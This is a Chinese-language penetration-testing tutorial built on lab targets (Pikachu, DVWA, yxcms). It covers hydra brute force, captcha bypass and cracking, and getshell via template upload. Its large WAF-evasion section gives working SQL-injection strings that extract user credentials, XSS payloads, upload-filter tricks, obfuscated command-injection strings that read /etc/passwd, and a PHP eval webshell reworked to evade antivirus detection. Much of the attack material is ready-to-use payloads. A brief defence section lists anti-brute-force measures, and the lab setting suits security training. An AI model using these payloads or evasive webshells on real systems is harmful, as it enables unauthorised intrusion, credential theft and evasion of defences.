[TOC]
auth_analyzer插件
下载和安装
-
在商店找到auth_analyzer,下载下来。
!
- 勾选上扩展
靶场部署
-
部署靶场,用两个浏览器访问
docker pull area39/pikachu docker run -d -p 8000:80 area39/pikachu
工具使用
-
用高权限和低权限两个用户登录:
admin/123456:admin是超级管理员,具备添加/删除⽤户权限 pikachu/000000:pikachu⽤户仅仅具备查看权限,不具备添加/删除⽤户权限
-
复制低权限用户的cookie,粘贴到Auth Analyer
- 可以添加一个空cookie组
- 应用选项,用代理浏览器访问高权限的网站
user1显示same代表存在垂直越权漏洞。
C/S架构暴力破解
常⽤于⽹络协议、系统、数据库、第三⽅应⽤密码的破解:
暴⼒破解FTP、SSH、SMB、Sqlserver、Mysql、Redis等
hydra
hydra的安装
-
Windows安装hydra:github.com/maaaaz/thc-…
解压当前路径打开CMD即可
-
Kali Linux下⾃带hydra
hydra的使用
-l 指定⼀个⽤户名
-L 指定⼀个⽤户名字典
-P 指定⼀个密码字典
-s 指定端⼝
-vV 显示每次的尝试信息
-f 遇到正确的密码,停⽌爆破
-o 将结果输出到⽂件中
-M 指定⼀个服务器列表
-t Tasks同时运⾏的线程数,默认为16
-e nsr n:尝试空密码s:将⽤户名作为密码r:将⽤户名反向
- 使⽤MobaXterm开启ftp
- 用另一台主机尝试连接
-
使⽤hydra暴⼒破解ftp服务(kali)
hydra -l ftp -P /home/kali/top500.txt -vV ftp://192.168.184.128
同理可以爆破多种协议,⽐如MySQL、rdp、redis等
超级弱口令检查工具
超级弱⼝令检查⼯具是⼀款Windows平台的弱⼝令审计⼯具,⽀持批量多线程检查,可快速发现弱密码、弱⼝令账号,密码⽀持和⽤户名结合进⾏检查,⼤⼤提⾼成功率,⽀持⾃定义服务端⼝和字典。 该⼯具在渗透测试虚拟机中已经集成(密码破解->SNETCracker),也可以根据需要⾃⾏安装。 github.com/shack2/SNET…
和hydra同理,输入后开始检查
暴力破解安全防范
- 设计安全的验证码,安全的流程+复杂⽽⼜可⽤的图形。(提问:故意输⼊错误的图形验证码进⾏提交,提交刷新⻚⾯后,⽹站本身是否应该⽣成新的图形验证码?)
- 在前端⽣成验证码且后端正常校验验证码的情况下,对验证码有效期和次数进⾏限制。
- 限制认证错误的提交次数,如连续5次密码错误,锁定两⼩时,验证码⽤完后⽴即销毁。
- 必要的情况下,使⽤双因⼦认证(⼿机验证码、滑动验证码等),利⽤token防⽌暴⼒破解。
验证码绕过
所⽤环境:Pikachu
账号:admin
密码:123456
验证码的主要作⽤:防⽌暴⼒破解、恶意注册、刷票、论坛灌⽔等脚本⾏为。
验证码的分类:⼿机短信、⼿机语⾳、通⽤⽂字、加减法、⾮通⽤⽂字、⾮通⽤⽂字加背景随机加拉伸、⽆感知、滑动拼图、⽂字点选、图标点选、推理拼图、短信上⾏、语序点选、空间推理、语⾳验证等等。
验证码绕过(on client)
- 打开靶场,确认验证码基本功能完善。
- 我们尝试截取登录处数据包,修改密码并多次重放之后发现该验证码依然有效,说明可能存在验证码可以重复使⽤的情况:
3. 于是进⾏暴⼒破解,破解出密码为123456:
造成该验证码重复使⽤的原因是:验证码是在前端利⽤JS语句⽣成和刷新的,我们通过截取数据包进⾏重放绕过了前端刷新验证码的机制。
验证码绕过(on server)
- 截取登录处的数据包,先对验证码的功能进⾏完备性验证:
- 多次更换密码重放之后,服务端仍然返回“⽤户名或者密码不存在”,证明该验证码依然可以重复使⽤:
造成该验证码重复使⽤的原因是:验证码在验证之后没有销毁$_SESSION['vcode'],造成了重复使⽤。
验证码爆破
如果⽆法绕过,可以尝试硬刚验证码!参考burp验证码爆破
环境搭建
phpstduy搭建yxcms,使⽤nginx,php版本选择5.x即可。 安装包 YxcmsApp_jb51.zip
按照安装步骤安装:
填入小皮面板的数据库信息,完成安装:
绕过验证码爆破密码
使⽤ burp 进⾏爆破,当遇到带验证码的登录表单进⾏爆破时,基本尝试抓包后观察验证码是否主动更新,或者进⾏验证码绕过
captcha-killer-modified插件
captcha-killer-modified是个⽤ Java 写的burp插件,设计理念是只专注做好对各种验证码识别技术接⼝的调⽤,说具体点就是burp 通过这⼀个插件,就可以适配各种验证码识别接⼝,⽆需重复编写调⽤代码。
相关⼯具都在云盘中的captcha-killer-modified ⽬录下,也可以直接下载 github.com/f0ng/captch…
安装完成
识别接口搭建
- 在安装的目录下打开cmd
-
安装依赖库:
pip install -r requirement.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
- 接⼝启动
验证码爆破
-
点击⽹⻚当中的验证码-抓包-将包发送给插件captcha-killer-modified
http://yxcms.com/index.php?r=admin/index/index
2. 插件点击获取返回验证码即证明插件安装成功
- ⿏标右键,在模板库中选择ddddocr-修改端⼝与python当中的保持⼀致-点击识别
- 点击识别,出现识别后的验证码,记得点击使用插件!
- 攻击类型选择Pitchfork,由于验证码和请求绑定,因此不能使⽤多线程。只能单线程爆破
变量2-选择通过扩展⽣成-扩展选中captcha-killer-modified-OK
变量1密码,正常选择密码爆破⽂档
Getshell
暴力破解出密码后,登陆后台:
新建模板⽂件,点击模板管理
<?php
phpinfo();
?>
通过本地文件查看得到新建文件位置:
/protected/apps/default/view/default/phpinfo.php
可以看到是我们写⼊的⽂件被执⾏了,所有可以写⼊⼀句话⽊⻢,来进⾏getshell。
Waf绕过
环境介绍
Win11+phpStudy+安全狗
安装DVWA
DVWA-master.zip源代码在云盘中,下载之后,使⽤phpstudy搭建⽹站。
删除.dist后缀
进入该文件,修改默认密码连接数据库。
成功安装,默认密码为admin/password
配置phpstudy
默认情况下phpstudy没有以服务形式安装apache,安全狗需要apache以服务形式启动,这样才能顺利安装。因此需要⼿动安装apache以服务
-
关闭apache程序及httpd.exe进程(关闭小皮)
-
进⼊D:\phpstudy_pro\Extensions\Apache2.4.39\bin ⽬录, 执⾏ httpd.exe -k install -napache2.4.39
在服务中可以看到安装成功,⼿动启动apache服务以后,不要调整也不要关闭phpStudy,直接安装安全狗。
由于该服务会影响phpstudy的使⽤,因此安全狗安装完成后,禁⽤即可。
安装安全狗(WAF)
官⽹下载最新版安全狗Apache版本:www.safedog.cn/website_saf…
若没有检测到网站,重新安装一遍。
WAF安装与配置
关闭安全狗,尝试⽆防护
尝试输⼊: 1' or 1=1 -- a
开启安全狗防护:
WAF绕过与SQL注入
在 MySQL 中,/*! */ 被称之为内联注释,⾥⾯的内容是会被MySQL 解析的。解析情况分为以下两种:
内联注释绕过
-
当 /*! 紧跟数据库版本号时 这种情况表示,当⽬前的数据库版本号⼤于指定的版本号时,⾥⾯的内容才会被解释SQL 语句,否则会被当成注释处理⽽被忽略掉,下列语句表示当 MySQL 的版本号⼤于 4.1.00 时,后⾯的SQL 语句才会被执⾏:
CREATEDATABASE `mydb` /*!40100 DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci */
-
当 /*! 不紧跟版本号时 这种情况下,⾥⾯的内容会被mysql当成 SQL 语句解析执⾏(不考虑版本),⽽其他数据库会忽略,例如:
-- 内联注释语句 SELECT * FROM`demo` /*! where id = 2 */; -- 解析后的语句相当于 SELECT * FROM`demo` whereid = 2;
-
使⽤内联注释成功绕过
对于要⽤哪5位数,多数情况下⼀般采⽤FUZZ的⽅法
1'/*!11445and*/'1'='1
绕过联合注入
1' order by 1-- + 被拦截
1' group by 2-- 利⽤group by直接绕过
1' group by 3-- 报错,则查询2列
1' union select 1,2-- 报错
先来了解⼀下regexp(正则函数),分别在数据库中执⾏下列语句:
SELECT user FROM users WHERE user REGEXP 'a'
select user from users where user like "%a%"
加⼊的REGEXP "%0A%23" 或者LIKE "%0A%23"并没有实际意义,也没有进⾏正则匹配。单纯是为了绕过检测,因为安全狗不检测%23后的内容
1' regexp "%0A%23" /*!11144union %0A select */1,2--
尝试获取database(),发现被拦截
1' regexp "%0A%23" /*!11144union %0A select */database(),2--
再次使⽤內联注释绕过
1' regexp "%0A%23" /*!11144union %0A select */database( /*!11144*/),2--
成功注⼊出数据库名为dvwa
同理,注⼊出user()为root@localhost
-1' regexp "%0A%23"/*!11144union %0A select*/ user(%0A /*!11144*/),database( /*!11144*/)--
接下来尝试获取所有的库名,发现information_schema.schemata被拦截
使⽤下⾯语句绕过,获取dvwa库⾥⾯所有的数据库名
-1' union /*!--+/*%0aselect/*!1 COLLATE utf8_general_ci,*/ group_concat(schema_name) COLLATE utf8_general_ci /*!from*/ /*!--+/*%0ainformation_schema./*!schemata*/ --
获取dvwa库⾥⾯所有的表名
-1' union /*!--+/*%0aselect/*!1 COLLATE utf8_general_ci,*/ group_concat(table_name) COLLATE utf8_general_ci /*!from*/ /*!--+/*%0ainformation_schema./*!tables*/ where table_schema='dvwa' --
获取users表⾥⾯的所有字段
-1' union /*!--+/*%0aselect/*!1 COLLATE utf8_general_ci,*/ group_concat(column_name) COLLATE utf8_general_ci /*!from*/ /*!--+/*%0ainformation_schema./*!columns*/ where table_name='users' --+
注⼊出账号密码
-1' union /*!--+/*%0aselect/*!1,*/ group_concat(concat_ws(0x7e,user,password)) /*!from*/ dvwa.users --+
md5解密账号密码
WAF绕过XSS攻击
测试环境:DVWA+安全狗
直接输⼊script语句被拦截
<script>alert(1)</script>
利⽤base64编码即可绕过:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIHRlc3QiKTs8L3N
jcmlwdD4="
利⽤svg标签进⾏绕过; 标记定义 SVG 图形的容器。
<svg/onload=alert(1)>
WAF绕过文件上传
开启安全狗防护,⽆法上传
利用双写filename=;进行绕过
(该技巧已失效)
filename=;filename="shell.jsp"
利用无用件头绕过
(已失效)
在请求体前⾯添加⼤量⽆⽤数据(注意要和请求头空⼀⾏)
免杀webshell
普通⼀句话⽊⻢上传访问被拦截
上传免杀⼀句话⽊⻢,已失效
利用00截断绕过
上传⽂件,将⽂件名称改为one.php;%00.jpg,用URL编码转换。
上传成功:
WAF绕过命令执行
常⻅的命令执⾏函数
system() #输出并返回最后⼀⾏shell结果
exec() #不输出结果,返回最后⼀⾏shell结果,所有结果保存到⼀个返回数组⾥
passthru() #只调⽤命令,把命令的运⾏结果原样输出到标准输出设备上
popen()、proc_open() #不会直接返回执⾏结果,⽽是返回⼀个⽂件指针
shell_exec() #通过shell执⾏命令并以字符串的形式返回完整的输出
反引号 #本质是使⽤shell_exec()函数
命令分隔符
Windows:&& || & |
Linux: && || & | ;
分号;在shell中担任连续指令的功能
Linux命令执⾏绕过
- 绕过空格
${IFS}
$IFS$9 #$9可改成$加其他数字
<
<> #重定向符
{cat,flag.php} #⽤逗号,实现了空格功能
- 拼接
#在linux系统中
a=g;cat fla$a.php
a=fl;b=ag.php;cat $a$b
#在php的ping环境中
ip=;a=g;cat fla$a.php
ip=;a=fl;b=ag.php;cat $a$b
3. 编码
$(echo "Y2F0IHRlc3QudHh0"|base64 -d)
4. 单引号、双引号绕过
cat te''st.txt
cat te""st.txt
c''at te''st.txt
c""at te""st.txt
5. 反斜杠绕过
cat te\st.txt
c\at te\st.txt
6. 通配符绕过
cat /etc/pass*
Windows命令执行绕过
Windows下同理:如当命令执⾏被拦截的时候需要进⾏绕过,如whoami被拦截可以尝试如下进⾏绕过
w"h"o"a"m"i
"w"h"o"a"m"i"
"w"h"o"a"m"i
w"h"o"a"m"i"
who^ami
wh""o^a^mi
wh""o^a^mi
((((Wh^o^am""i))))
(Wh^o^am""i)
(Whoami)
set a=who
set b=ami
%a%%b% //正常执⾏whoami
call %a%%b% //正常执⾏whoami
WAF绕过脚本免杀
下载最新D盾查杀⼯具:
将⼀句话⽊⻢拖⼊D盾进⾏查杀,发现后⻔级别为4,说明是eval后⻔,在实战中经常被杀
<?php eval(@$_POST['a']);?>
尝试对脚本进⾏免杀处理尝试对脚本进⾏免杀处理
<?php
$name = $_POST[1];
$name = substr($name,0);
eval("echo 123;" . $name."echo 456; " );
?>
将免杀⽊⻢拖⼊D盾进⾏查杀,发现后⻔级别为2,说明是可疑⽂件,在实战中可能会躲避检测
再次对⽂件进⾏混淆加密处理uutool.cn/php/,再次使⽤d盾…
上传成功:
用蚁剑连接成功: